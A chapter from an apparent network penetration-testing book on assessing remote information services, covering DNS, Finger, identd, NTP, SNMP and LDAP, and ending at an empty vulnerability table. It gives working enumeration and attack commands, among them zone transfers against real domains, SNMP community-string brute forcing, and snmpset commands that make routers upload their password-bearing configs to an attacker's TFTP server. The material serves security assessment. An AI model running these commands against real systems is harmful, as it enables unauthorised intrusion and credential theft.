Chapter 5. Assessing Remote Information Services
Remote information services are probed to gather useful information that can be used later, such as usernames and IP addresses. Some remote information services are also susceptible to direct exploitation, resulting in arbitrary command execution or compromise of sensitive data. This chapter focuses on the assessment of these services and lists relevant tools and techniques used to test them.
Remote Information Services
Most platforms run remote information services that provide system, user, and network details over IP. A list of remote information services taken from the /etc/services file is as follows:
wins 42/tcp domain 53/tcp domain 53/udp finger 79/tcp auth 113/tcp ntp 123/udp snmp 161/udp ldap 389/tcp rwho 513/udp globalcat 3268/tcp
SSL-wrapped versions of LDAP and Global Catalog (GC) services are accessible on the following ports:
ldaps 636/tcp globalcats 3269/tcp
An SSL tunnel must first be established (using a tool such as stunnel) to assess these services. Standard LDAP assessment tools can then be used through the SSL tunnel to test the services.
RPC services can also be queried to enumerate useful information. These run on dynamic high ports, and the following relevant remote information service is taken from the /etc/rpc file:
rusers 100002
DNS
Chapter 3 covered the use of DNS querying to enumerate and map IP networks, using forward and reverse DNS queries, along with DNS zone transfers. Name servers use two ports to fulfill requests: UDP port 53 to serve standard direct requests (to resolve names to IP addresses and vice versa), and TCP port 53 to serve DNS information during zone transfers and other high-volume queries.
You should perform the following tests for each accessible name server:
Cross-reference version details with vulnerability lists to enumerate vulnerabilities
Perform DNS zone transfers against known domains
Undertake reverse querying against known IP blocks and internal addresses
Carry out forward grinding using a dictionary of common hostnames
Retrieving DNS Service Version Information
Version information can often be obtained by issuing a version.bind request to the name server.
Example 5-1 shows how
DiG is used to issue this request to the name server at nserver.apple.com, revealing
the server software as BIND 9.2.1.
$ dig @nserver.apple.com version.bind chaos txt
; <<>> DiG 9.2.4 <<>> @nserver.apple.com version.bind chaos txt
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64938
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.2.1"
;; Query time: 147 msec
;; SERVER: 17.254.0.50#53(nserver.apple.com)
;; WHEN: Sat Mar 17 01:48:38 2007
;; MSG SIZE rcvd: 48If you don’t have access to a Unix-like system with DiG,
nslookup can be used in an
interactive fashion from Windows, Unix, or Mac OS to issue the same
version.bind request. Example 5-2 shows the same DNS
query being launched using nslookup.
BIND Vulnerabilities
The Berkeley Internet Name Domain (BIND) service is run on most Unix name servers. BIND has been found to be vulnerable to a plethora of buffer overflow and DoS attacks over recent years. The Internet Software Consortium (ISC) has created a very useful web page to track all publicly known vulnerabilities in BIND (see http://www.isc.org/products/bind/bind-security.html). Table 5-1 shows a summary of the remotely exploitable vulnerabilities within BIND at the time of this writing (not including DoS or cache corruption issues), with details of the affected versions of software.
CVE reference | BIND versions affected | |
CVE-2002-1219 | 4.9.5–4.9.10, 8.1, 8.2–8.2.6, and 8.3–8.3.3 | |
CVE-2002-1220 | 8.2-8.2.6 and 8.3-8.3.3 | |
CVE-2002-0029 | 4.9.2-4.9.10 | |
OpenSSL overflow | CVE-2002-0656 | 9.1.0 and 9.2.x if built with SSL |
CVE-2002-0651 | 4-4.9.9, 8-8.2.6, 8.3.0-8.3.2, and 9.2.0 | |
CVE-2001-0010 | 8.2, 8.2.1, 8.2.2 patch levels 1-7, and 8.2.3 beta releases | |
| CVE-2001-0013 | 4.9.3-4.9.5 patch level 1, 4.9.6, and 4.9.7 |
CVE-1999-0833 | 8.2, 8.2 patch level 1, and 8.2.1 |
Cache corruption is a problem, especially when BIND servers are configured to respond to recursive queries and the results are cached. Two significant DNS server cache corruption vulnerabilities are CVE-2002-2211 and CVE-2006-0527. The first issue affects a number of BIND releases; however, the second issue only applies to HP-UX and Tru64 servers running BIND.
Mike Schiffman has written a good paper that discusses the history of BIND vulnerabilities and details the current security posture of over 10,000 DNS servers. You can read his findings at http://www.packetfactory.net/papers/dns-posture/.
BIND exploit scripts
Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). MSF doesn’t support any of the above bugs at the time of this writing. CORE IMPACT supports CVE-1999-0833 (NXT record overflow) and CVE-2001-0010 (TSIG overflow). Immunity CANVAS has no support for BIND exploits at this time.
Microsoft DNS Service Vulnerabilities
Windows servers ship with inbuilt DNS services to support Active Directory (AD) and other mechanisms. Details of authoritative Windows network services, such as AD, LDAP, and Kerberos can be found by searching for SRV (service) records when performing a DNS zone transfer against a known Windows server. RFC 2052 details the SRV record format and other information, but generally the following DNS SRV records can be found when testing a Windows server running DNS:
_gc._tcp SRV priority=0,weight=100,port=3268,pdc.example.org _kerberos._tcp SRV priority=0,weight=100,port=88,pdc.example.org _kpasswd._tcp SRV priority=0,weight=100,port=464,pdc.example.org _ldap._tcp SRV priority=0,weight=100,port=389,pdc.example.org
From analyzing the responses, you can identify servers running AD GC and Kerberos services. LDAP is also used in organizations as a user directory, listing users along with telephone numbers and other details (see the "LDAP" section later in this chapter for further information).
Remote vulnerabilities in Microsoft DNS and WINS services
A number of issues have been uncovered in the Microsoft DNS and WINS naming services and client implementations over the last few years. Significant remotely exploitable Microsoft DNS issues are listed in Table 5-2, and remotely exploitable Microsoft WINS issues are listed in Table 5-3. WINS services are accessible through TCP port 42.
Due to the way that DNS and WINS are built into the core operating system and the way that Microsoft manages its advisories and patches, it is not easy to enumerate current Microsoft DNS and WINS vulnerabilities; you must currently trawl through an abundance of advisories on the Microsoft site (http://www.microsoft.com/technet/security) and cross-reference them to identify remotely exploitable issues. A Google, MITRE CVE, or SecurityFocus search can often spread light over recent problems.
Microsoft DNS and WINS exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). MSF supports CVE-2004-1080. In terms of commercial exploitation frameworks, both CORE IMPACT and Immunity CANVAS support CVE-2004-1080 (association context vulnerability) and CVE-2004-0567 (name validation vulnerability).
DNS Zone Transfers
DNS services are primarily accessed through UDP port 53 when serving answers to DNS requests. Authoritative name servers also listen on TCP port 53 to serve DNS zone transfers and other high-volume queries.
As discussed in Chapter 3, a DNS zone file contains all the naming information stored by the name server regarding a specific DNS domain. A DNS zone transfer can often be launched to retrieve details of nonpublic internal networks and other useful information that can help build an accurate map of the target infrastructure.
The most effective method to issue a DNS zone transfer request against a specific DNS server is to use DiG, as shown in Example 5-3.
$ dig @relay2.ucia.gov ucia.gov axfr
; <<>> DiG 9.2.4 <<>> @relay2.ucia.gov ucia.gov axfr
;; global options: printcmd
ucia.gov. 3600 IN SOA relay1.ucia.gov. root.ucia.gov.
511210023 7200 900 604800 900
ucia.gov. 3600 IN NS relay1.ucia.gov.
ucia.gov. 3600 IN NS relay7.ucia.gov.
ucia.gov. 3600 IN NS auth100.ns.uu.net.
ucia.gov. 3600 IN MX 5 mail2.ucia.gov.
ain.ucia.gov. 3600 IN A 198.81.128.68
ain-relay.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
ain-relay-int.ucia.gov. 3600 IN CNAME ain-relay1-int.ucia.gov.
ain-relay1.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
ain-relay1-ext.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
ain-relay1-int.ucia.gov. 3600 IN A 192.168.64.2
ain-relay2.ucia.gov. 3600 IN CNAME relay2.ucia.gov.
ain-relay2-ext.ucia.gov. 3600 IN CNAME relay2.ucia.gov.
ain-relay2-int.ucia.gov. 3600 IN A 192.168.64.3
ain-relay7.ucia.gov. 3600 IN CNAME relay7.ucia.gov.
ain-relay7-ext.ucia.gov. 3600 IN CNAME relay7.ucia.gov.
ain-relay7-int.ucia.gov. 3600 IN A 192.168.64.67
ex-rtr.ucia.gov. 3600 IN CNAME ex-rtr-129.ucia.gov.
ex-rtr-129.ucia.gov. 3600 IN A 198.81.129.222
ex-rtr-129.ucia.gov. 3600 IN HINFO "Cisco 4000 Router" "NP-1E Board"
ex-rtr-191-a.ucia.gov. 3600 IN A 192.103.66.58
ex-rtr-191-b.ucia.gov. 3600 IN A 192.103.66.62
foia.ucia.gov. 3600 IN NS relay1.ucia.gov.
foia.ucia.gov. 3600 IN NS auth100.ns.uu.net.
mail1.ucia.gov. 3600 IN A 198.81.129.68
mail1out.ucia.gov. 3600 IN A 198.81.129.71
mail2.ucia.gov. 3600 IN A 198.81.129.148
mail2out.ucia.gov. 3600 IN A 198.81.129.146
relay.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
relay-int.ucia.gov. 3600 IN CNAME ain-relay1-int.ucia.gov.
relay1.ucia.gov. 3600 IN A 198.81.129.193
relay1-ext.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
relay1-int.ucia.gov. 3600 IN CNAME ain-relay1-int.ucia.gov.
relay2.ucia.gov. 3600 IN A 198.81.129.194
relay2-ext.ucia.gov. 3600 IN CNAME relay2.ucia.gov.
relay2-int.ucia.gov. 3600 IN CNAME ain-relay2-int.ucia.gov.
relay2a.ucia.gov. 3600 IN A 198.81.129.200
relay2y.ucia.gov. 3600 IN A 198.81.129.68
relay2z.ucia.gov. 3600 IN A 198.81.129.69
relay7.ucia.gov. 3600 IN A 198.81.129.186
relay7-ext.ucia.gov. 3600 IN CNAME relay7.ucia.gov.
relay7a.ucia.gov. 3600 IN A 198.81.129.197
relay7b.ucia.gov. 3600 IN A 198.81.129.198
res.ucia.gov. 3600 IN A 198.81.129.116
wais.ucia.gov. 3600 IN CNAME relay2.ucia.gov.Reverse DNS Querying
Check Point Firewall-1 used to ship with a DNS “allow any to any” rule within its default policy. Some other firewalls also suffer from this oversight, so it is sometimes possible to access DNS services running on internal systems that should not be providing name service to the Internet.
It is sometimes possible to query DNS servers on peripheral network boundaries (using UDP port 53) and issue requests relating to internal or external IP addresses. Example 5-4 shows how nslookup can be used to find internal addresses—easily done if you know internal IP address ranges (through enumeration done earlier in the testing process).
$nslookup>set querytype=any>server 144.51.5.2Default server: 144.51.5.2 Address: 144.51.5.2#53 >192.168.1.43;; connection timed out; no servers could be reached >192.168.1.44;; connection timed out; no servers could be reached >192.168.1.45Server: 144.51.5.2 Address: 144.51.5.2#53 45.1.168.192.in-addr.arpa name = staging.corporate.com
An automated reverse DNS sweep tool such as GHBA (http://www.attrition.org/tools/other/ghba.c) can be modified to query a specific name server for internal network information, but this can also be achieved simply by setting your /etc/resolv.conf file to point at the target name server instead of your local DNS servers. Example 5-5 shows how this can be done from a Unix environment.
$cat /etc/resolv.confnameserver 144.51.5.2 $ghba 192.168.1.0Scanning Class C network 192.168.1... 192.168.1.1 => gatekeeper.corporate.com 192.168.1.5 => exch-cluster.corporate.com 192.168.1.6 => exchange-1.corporate.com 192.168.1.7 => exchange-2.corporate.com 192.168.1.8 => sqlserver.corporate.com 192.168.1.45 => staging.corporate.com
Forward DNS Grinding
Accessible name servers can also be queried using a dictionary file of common hostnames, cross-referenced with known domains, and fired off to the server. This approach is particularly useful if DNS zone transfers are not permitted and reverse grinding does not produce sufficient results.
A very effective forward DNS grinding tool is TXDNS (http://www.txdns.net), a Windows tool that supports
dictionary-based, full brute-force hostname grinding. Example 5-6 shows TXDNS being
used to perform a dictionary grinding attack against the name server
at 17.254.0.50 (nserver.apple.com) using a
dictionary file (smalllist.txt)
to reveal valid apple.com
hostnames.
C: ools> txdns -f smalllist.txt -s 17.254.0.50 apple.com
-------------------------------------------------------------------------------
TXDNS (http://www.txdns.net) 2.0.0 running STAND-ALONE Mode
-------------------------------------------------------------------------------
> ftp.apple.com - 17.254.16.10
> guide.apple.com - 17.254.12.37
> help.apple.com - 17.254.3.26
> mercury.apple.com - 17.250.248.40
> research.apple.com - 17.255.4.30
> search.apple.com - 17.254.0.160
> vpn.apple.com - 17.252.68.41
> webmail.apple.com - 17.254.13.52
-------------------------------------------------------------------------------
Resolved names: 8
Failed queries: 348
Total queries: 356
-------------------------------------------------------------------------------A generic Perl alternative to TXDNS that can be run under Linux and many other operating platforms is blindcrawl.pl, available from http://sec.angrypacket.com/code/blindcrawl.pl.
Finger
The fingerd service is commonly found listening on TCP port 79 of Cisco IOS routers and Unix-based servers including Solaris and HP-UX. The service is queried using a Finger client (found in most operating platforms) or by directly using a Telnet client or Netcat to connect to port 79. Two examples of this follow, in which I show the differences in results from querying a Cisco IOS device and a Solaris server.
Here’s a Finger query against a Cisco router using Telnet:
$ telnet 192.168.0.1 79
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 192.168.0.252
Se0 Sync PPP 00:00:00
Connection closed by foreign host.Here the Finger client is used to query a Solaris host:
$ finger @192.168.0.10
[192.168.0.10]
Login Name TTY Idle When Where
crm Chris McNab pts/0 1 Tue 09:08 onyx
axd Andrew Done pts/4 3d Thu 11:57 goofballA null query will result in the current users being shown under most Finger services. By analyzing the format of the response, you can easily differentiate between a Solaris host and a Cisco IOS router.
Finger Information Leaks
Various information leak vulnerabilities exist in Finger
implementations. A popular attack involves issuing a '1 2 3 4 5 6 7 8 9 0' request against a
Solaris host running Finger. Example 5-7 highlights a bug
present in all Solaris releases up to version 8; it lets you identify
user accounts on the target system.
$ finger '1 2 3 4 5 6 7 8 9 0'@192.168.0.10
[192.168.0.10]
Login Na me TTY Idle When Where
root Super-User console <Jun 3 17:22> :0
admin Super-User console <Jun 3 17:22> :0
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
adm Admin < . . . . >
lp Line Printer Admin < . . . . >
uucp uucp Admin < . . . . >
nuucp uucp Admin < . . . . >
listen Network Admin < . . . . >
nobody Nobody < . . . . >
noaccess No Access User < . . . . >
nobody4 SunOS 4.x Nobody < . . . . >
informix Informix User < . . . . >
crm Chris McNab pts/0 1 Tue 09:08 onyx
axd Andrew Done pts/4 3d Thu 11:57 goofballMany Unix Finger services perform a simple cross-reference operation of the query string against user information fields in the /etc/passwd file; the following Finger queries can be launched from the command line to obtain useful information:
finger [email protected] finger [email protected] finger **@target.host finger [email protected] finger [email protected]
Performing a finger
[email protected] request is especially effective against
Linux, BSD, Solaris, and other Unix systems because it often reveals a
number of user accounts, as shown in Example 5-8.
$ finger [email protected]
Login: ftp Name: FTP User
Directory: /home/ftp Shell: /bin/sh
Never logged in.
No mail.
No Plan.
Login: samba Name: SAMBA user
Directory: /home/samba Shell: /bin/null
Never logged in.
No mail.
No Plan.
Login: test Name: test user
Directory: /home/test Shell: /bin/sh
Never logged in.
No mail.
No Plan.Finger Redirection
In some cases, servers running Finger exist on multiple networks (such as the Internet and an internal network space). With knowledge of internal IP ranges and hostnames, you can perform a bounce attack to find internal usernames and host details as follows:
$ finger @[email protected]
[217.34.217.200]
[192.168.0.10]
Login Name TTY Idle When Where
crm Chris McNab pts/0 1 Tue 09:08 onyx
axd Andrew Done pts/4 3d Thu 11:57 goofballFinger Process Manipulation Vulnerabilities
Older Linux packages such as cfingerd are susceptible to buffer overflow attacks. I highly recommend that you research servers that are running Finger, including enumeration of the operating platform to ascertain the probable type of Finger service running. You can query the CVE list at http://cve.mitre.org to keep up-to-date with vulnerable packages.
Auth
The Unix auth service (known internally as identd) listens on TCP port 113. The primary purpose of the service is to provide a degree of authentication through mapping local usernames to TCP network ports in use. IRC is a good example of this: when a user connects to an IRC server, an ident request is sent to TCP port 113 of the host to retrieve the user name.
The identd service can be queried in line with RFC 1413 to match open TCP ports on the target host with local usernames. The information gathered has two different uses to an attacker: to derive the owners of processes with open ports and to enumerate valid username details.
Nmap has the capability to cross-reference open ports with the identd service running on TCP port 113. Example 5-9 shows such an identd scan being run to identify a handful of user accounts.
$ nmap -I -sT 192.168.0.10
Starting nmap V. 4.20 ( www.insecure.org/nmap/ )
Interesting ports on dockmaster (192.168.0.10):
(The 1595 ports scanned but not shown below are in state: closed)
Port State Service Owner
22/tcp open ssh root
25/tcp open smtp root
80/tcp open http nobody
110/tcp open pop-3 root
113/tcp open auth ident
5050/tcp open unknown tomasz
8080/tcp open http-proxy nobodyAuth Process Manipulation Vulnerabilities
The Linux jidentd and cidentd packages contain various buffer overflow vulnerabilities. I highly recommend that you research servers that have identd running, including enumeration of the operating platform to ascertain the probable type of identd service running. You can query the CVE list at http://cve.mitre.org to keep up-to-date with vulnerable packages.
NTP
Network Time Protocol (NTP) services are usually found running on UDP port 123 of Cisco devices and Unix-based systems. NTP services can be queried to obtain the remote hostname, NTP daemon version, and OS platform details, including processor.
NTP Fingerprinting
Arhont’s NTP fingerprinting tool (http://www.arhont.com/digitalassets/211_ntp-fingerprint.tar.gz) is a Perl script that can be used to query remote NTP daemons and enumerate system details. Sometimes output is limited, as shown in Example 5-10.
$ perl ntp.pl -t 192.168.66.202
ntp-fingerprint.pl, , v 0.1
************* NTP server found at host 192.168.66.202 *******
#It was possible to gather the following information #
#from the remote NTP host 192.168.66.202 #
# Operating system: cisco #
*************************************************************If NTP is found running on a Unix-based system, however, as shown in Example 5-11, an amount of useful server data is obtained, including hostname, NTP version information, and operating platform details.
$ perl ntp.pl -t pingo
ntp-fingerprint.pl, , v 0.1
************* NTP server found at host pingo ********************************
#It was possible to gather the following information #
#from the remote NTP host pingo #
# NTP daemon:�oversion=ntpd [email protected] Sun Nov 7 22:50:28 GMT 2004 (1) #
# Processor:i686 #
# Operating system:Linux/2.6.10-gentoo-r5 #
*****************************************************************************Further NTP Querying
Two other useful tools that can be used to launch specific NTP queries are as follows:
| ntpdc (http://www.ee.udel.edu/~mills/ntp/html/ntpdc.html) |
| ntpq (http://www.ee.udel.edu/~mills/ntp/html/ntpq.html) |
NTP Vulnerabilities
Only one remotely exploitable issue is listed in the MITRE CVE list, and that is CVE-2001-0414 (a buffer overflow in ntpd NTP daemon 4.0.99k and earlier (also known as xntpd and xntp3). This allows remote attackers to cause DoS and possibly execute arbitrary commands via a long readvar argument). Other locally exploitable issues exist; you can find information about these at http://cve.mitre.org.
GLEG VulnDisco (http://www.gleg.net) includes a zero-day ntpd stack overflow module that affects NTP 4.2.0 running on Linux platforms in a nondefault configuration (authentication must be enabled and NTP must be configured as a broadcast client).
SNMP
The Simple Network Management Protocol (SNMP) service listens on UDP port 161. SNMP is often found running on network infrastructure devices such as managed switches, routers, and other appliances. Increasingly, SNMP can be found running on Unix-based and Windows servers for central network management purposes.
SNMP authentication is very simple and is sent across networks in plaintext. SNMP Management Information Base (MIB) data can be retrieved from a device by specifying the correct read community string, and SNMP MIB data can be written to a device using the correct write community string. MIB databases contain listings of Object Identifier (OID) values, such as routing table entries, network statistics, and details of network interfaces. Accessing a router MIB is useful when performing further network reconnaissance and mapping.
Two useful tools used by attackers and security consultants alike for brute-forcing SNMP community strings and accessing MIB databases are ADMsnmp and snmpwalk. THC Hydra also supports very fast SNMP brute-force community grinding, along with many other protocols.
ADMsnmp
ADMsnmp is available from the ADM group home page at http://adm.freelsd.net/adm. The utility is an effective
Unix command-line SNMP community string brute-force utility. Example 5-12 shows the tool in
use against a Cisco router at 192.168.0.1 to find that the community
string private has write
access.
$ ADMsnmp 192.168.0.1
ADMsnmp vbeta 0.1 (c) The ADM crew
ftp://ADM.isp.at/ADM/
greets: !ADM, el8.org, ansia
>>>>>>>>>>> get req name=root id = 2 >>>>>>>>>>>
>>>>>>>>>>> get req name=public id = 5 >>>>>>>>>>>
>>>>>>>>>>> get req name=private id = 8 >>>>>>>>>>>
>>>>>>>>>>> get req name=write id = 11 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 9 name = private ret =0 <<<<<<<<<
>>>>>>>>>>>> send setrequest id = 9 name = private >>>>>>>>
>>>>>>>>>>> get req name=admin id = 14 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 10 name = private ret =0 <<<<<<<<
>>>>>>>>>>> get req name=proxy id = 17 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 140 name = private ret =0 <<<<<<<
>>>>>>>>>>> get req name=ascend id = 20 >>>>>>>>>>>
<<<<<<<<<<< recv snmpd paket id = 140 name = private ret =0 <<<<<<<
>>>>>>>>>>> get req name=cisco id = 23 >>>>>>>>>>>
>>>>>>>>>>> get req name=router id = 26 >>>>>>>>>>>
>>>>>>>>>>> get req name=shiva id = 29 >>>>>>>>>>>
>>>>>>>>>>> get req name=all private id = 32 >>>>>>>>>>>
>>>>>>>>>>> get req name= private id = 35 >>>>>>>>>>>
>>>>>>>>>>> get req name=access id = 38 >>>>>>>>>>>
>>>>>>>>>>> get req name=snmp id = 41 >>>>>>>>>>>
<!ADM!> snmp check on pipex-gw.trustmatta.com <!ADM!>
sys.sysName.0:pipex-gw.trustmatta.com
name = private write accesssnmpwalk
The snmpwalk utility is part of the Net-SNMP package (http://net-snmp.sourceforge.net). The Net-SNMP toolkit can be built on both Unix and Windows platforms and contains other useful utilities including snmpset, which can modify and set specific OID values. snmpwalk is used with a valid community string to download the entire MIB database from the target device (unless a specific OID value to walk is provided by the user).
Example 5-13 shows snmpwalk being used to download the MIB database from a Cisco router. The MIB in this example is over seven pages in length, so for brevity, only the first eight OID values are presented here.
$ snmpwalk -c private 192.168.0.1
system.sysDescr.0 = Cisco Internetwork Operating System Software IOS
(tm) C2600 Software (C2600-IS-M), Version 12.0(6), RELEASE SOFTWARE
(fc1) Copyright (c) 1986-1999 by cisco Systems, Inc. Compiled Wed
11-Aug-99 00:16 by phanguye
system.sysObjectID.0 = OID: enterprises.9.1.186
system.sysUpTime.0 = Timeticks: (86128) 0:14:21.28
system.sysContact.0 =
system.sysName.0 = pipex-gw.trustmatta.com
system.sysLocation.0 =
system.sysServices.0 = 78
system.sysORLastChange.0 = Timeticks: (0) 0:00:00.00Default Community Strings
Most routers, switches, and wireless access points from Cisco,
3Com, Foundry, D-Link, and other companies use public and private as their respective default read and
write SNMP community strings. The community string list provided with
the ADMsnmp brute-force program includes cisco, router, enable, admin, read, write, and other obvious values. When
assessing routers or devices belonging to a specific organization, you
should tailor your list accordingly (including the company name and
other values that may be used in that instance).
Tip
Many Cisco devices have two default SNMP community strings
embedded into them: cable-docsis
and ILMI. These strings don’t
appear in the IOS config files, and you should review the process in
the official Cisco security advisory at http://www.cisco.com/warp/public/707/ios-snmp-community-vulns-pub.shtml
to remove these default community strings.
Compromising Devices by Reading from SNMP
Many Windows NT and 2000 servers run SNMP services using the
community string public for read
access. By walking through the 1.3.6.1.4.1.77.1.2.25 OID within a Windows
NT or 2000 server, you can enumerate usernames of active accounts on
the target host; 192.168.0.251 is
used in Example 5-14.
$ snmpwalk -c public 192.168.102.251 .1.3.6.1.4.1.77.1.2.25
enterprises.77.1.2.25.1.1.101.115.115 = "Chris"
enterprises.77.1.2.25.1.1.65.82.84.77.65.78 = "IUSR_CARTMAN"
enterprises.77.1.2.25.1.1.65.82.84.77.65.78 = "IWAM_CARTMAN"
enterprises.77.1.2.25.1.1.114.97.116.111.114 = "Administrator"
enterprises.77.1.2.25.1.1.116.85.115.101.114 = "TsInternetUser"
enterprises.77.1.2.25.1.1.118.105.99.101.115 = "NetShowServices"In this example, the usernames Chris and Administrator are identified, along with the
built-in Windows IUSR_hostname,
IWAM_hostname, TsInternetUser, and NetShowServices users.
Tip
Various wireless access points and other hardware appliances contain passwords and details of writable community strings within the accessible MIB. You should check each OID value in the MIB databases of these devices because sensitive information can be easily obtained.
SNMP OID values can be fed to tools such as snmpwalk in both numerical and word form. Table 5-4 lists values that are useful when enumerating services and open shares of Windows NT family servers found running SNMP.
Compromising Devices by Writing to SNMP
It is possible to compromise a Cisco IOS, Ascend, and other routers and systems running SNMP if you have write access to the SNMP MIB. By first running a TFTP server on an accessible host, you can modify particular OID values on the target device over SNMP (using snmpset), so that the device configuration file containing direct access passwords can be uploaded through TFTP. Here are some examples of this attack against Cisco IOS and Ascend network devices:
Compromising a Cisco device using snmpset:
$ snmpset -r 3 -t 3 192.168.0.1 private .1.3.6.1.4.1.9.2.1.55.192.168.0.50 s
"cisco-config"Compromising an Ascend device using snmpset:
$snmpset -r 3 -t 3 192.168.0.254 private .1.3.6.1.4.1.529.9.5.3.0 a "192.168.0.50"$snmpset -r 3 -t 3 192.168.0.254 private .1.3.6.1.4.1.529.9.5.4.0 s "ascend-config"
For these attacks to work, you must install and configure an accessible TFTP server to which the appliance can upload its configuration file. This can be achieved from a Unix-based platform by modifying the /etc/inetd.conf file to run tftpd from inetd, or by using a Windows TFTP server, such as the Cisco TFTP Server (available from http://www.cisco.com/pcgi-bin/tablebuild.pl/tftp). When performing this exploit, it is important to remember to ensure your TFTP server is writable so that the target device can upload its configuration file!
SNMP running on hardware appliances can be imaginatively abused by writing to a plethora of different OID values (e.g., modification of routing tables or uploading new firmware and configuration files). It is often best to test SNMP attacks in a lab environment before performing them on live networks in order to avoid crashing routers, switches, and other critical infrastructure devices.
A damaging extension to attacks involving writing to remote devices via SNMP is to use UDP spoofing. If the SNMP service listening on the target router doesn’t respond to packets sent from the attacker’s Internet-based hosts, he can spoof the snmpset command string (as in the previous code examples) to appear to be from a trusted host, such as an external firewall IP address. Obviously, he would need to find the correct community string, but it certainly is an imaginative way around the host-based ACLs of the router.
SNMP Process Manipulation Vulnerabilities
Many SNMP vulnerabilities have been uncovered and disclosed in various vendor implementations (including Cisco, F5 Networks, Microsoft, Oracle, and Sun Microsystems). One significant issue that affects many implementations is detailed in http://www.cert.org/advisories/ca-2002-03.html.
For current information relating to known SNMP issues, search the CVE list or check sites such as CERT, SecurityFocus, or ISS X-Force. Remotely exploitable SNMP vulnerabilities at the time of this writing are listed in Table 5-5.
CVE reference | Date | Notes |
CVE-2007-1257 | 28/02/2007 | Cisco Catalyst 6000, 6500, and 7600, and IOS 12.2 Network Analysis Module (NAM) SNMP spoofing vulnerability |
CVE-2006-5583 | 12/12/2006 | Microsoft Windows 2000 SP4, XP SP2, and 2003 SP1 SNMP buffer overflow resulting in command execution |
CVE-2006-5382 | 25/10/2006 | 3Com SS3 4400 switch SNMP information disclosure |
CVE-2006-4950 | 20/09/2006 | Cisco IOS 12.2-12.4 hard-coded DOCSIS community string device compromise |
CVE-2005-2988 | 15/09/2006 | HP JetDirect information disclosure |
CVE-2005-1179 | 15/04/2005 | Xerox MicroServer SNMP authentication bypass |
CVE-2005-0834 | 18/03/2005 | Multiple Belkin 54G wireless router SNMP vulnerabilities |
CVE-2004-0616 | 22/06/2004 | BT Voyager wireless ADSL router default community string and administrative password compromise |
CVE-2004-0312 | 17/02/2004 | Linksys WAP55AG 1.07 SNMP compromise |
CVE-2004-0311 | 16/02/2004 | APC SmartSlot 3.21 and prior default SNMP community string device compromise |
CVE-2002-1048 | 16/09/2002 | HP JetDirect password disclosure over SNMP |
CVE-2004-1775 | 16/06/2002 | Cisco IOS 12.0 and 12.1 VACM device configuration compromise |
CVE-2002-0013 | 12/02/2002 | Multiple vulnerabilities in SNMPv1 request handling |
CVE-2001-0236 | 15/03/2001 | Solaris SNMP to DMI
mapper daemon ( |
SNMP exploit scripts
Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). MSF doesn’t support any of the above bugs at the time of this writing. In terms of commercial exploitation frameworks, CORE IMPACT supports CVE-2001-0236 (Solaris snmpXdmid overflow), and Immunity CANVAS also supports CVE-2001-0236 along with CVE-2006-5583 (Microsoft SNMP memory corruption vulnerability).
LDAP
The Lightweight Directory Access Protocol (LDAP) service is commonly found running on Microsoft Windows 2000 and 2003, Microsoft Exchange, and Lotus Domino servers. The system provides user directory information to clients. LDAP is highly extensible and widely supported by Apache, Exchange, Outlook, Netscape Communicator, and others.
Anonymous LDAP Access
You can query LDAP anonymously (although mileage varies depending on the server configuration) using the ldp.exe utility from the Microsoft Windows 2000 Support Tools Kit found on the Windows 2000 installation CD under the support ools directory.
The ldapsearch tool is a
simple Unix-based alternative to ldp.exe that’s bundled with OpenLDAP
(http://www.openldap.org). In Example 5-15, I use the tool
to perform an anonymous LDAP search against 192.168.0.65 (a Lotus Domino server on
Windows 2000).
$ ldapsearch -h 192.168.0.65
# Nick Baskett, Trustmatta
dn: CN=Nick Baskett,O=Trustmatta
mail: [email protected]
givenname: Nick
sn: Baskett
cn: Nick Baskett, nick
uid: nick
maildomain: trustmatta
# Andrew Done, Trustmatta2C andrew
dn: CN=Andrew Done,O=Trustmatta, andrew
mail: [email protected]
givenname: Andrew
sn: Done
uid: andrew
maildomain: trustmatta
# James Woodcock, Trustmatta2C james
dn: CN=James Woodcock,O=Trustmatta, james
mail: [email protected]
givenname: James
sn: Woodcock
uid: james
maildomain: trustmattaLDAP Brute Force
Anonymous access to LDAP has limited use. If LDAP is found running under Windows, an attacker can launch a brute-force, password-guessing attack to compromise server user accounts. The Unix-based bf_ldap tool is useful when performing LDAP brute-force attacks and is available from http://examples.oreilly.com/networksa/tools/bf_ldap.tar.gz. THC Hydra also supports very fast LDAP brute-force password grinding, along with many other protocols.
Here is a list of bf_ldap
command-line options:
$ bf_ldap
Eliel Sardanons <[email protected]>
Usage:
bf_ldap <parameters> <optional>
parameters:
-s server
-d domain name
-u|-U username | users list file name
-L|-l passwords list | length of passwords to generate
optional:
-p port (default 389)
-v (verbose mode)
-P Ldap user path (default ,CN=Users,)Active Directory Global Catalog
Windows uses an LDAP-based service called Global Catalog (GC) on TCP port 3268. GC stores a logical representation of all the users, servers, and devices within a Windows Active Directory infrastructure. Because GC is an LDAP service, you can use the ldp.exe and ldapsearch utilities (along with a valid username and password combination) to enumerate users, groups, servers, policies, and other information. Just remember to point the utility at port 3268 instead of 389.
LDAP Process Manipulation Vulnerabilities
LDAP services running as part of Oracle, GroupWise, and other server software suites are publicly known to be vulnerable to various simple and complex process manipulation attacks. For current information relating to known LDAP issues, search the MITRE CVE list. Table 5-6 lists known remotely exploitable LDAP vulnerabilities (not including DoS or locally exploitable issues).
CVE reference | Date | Notes |
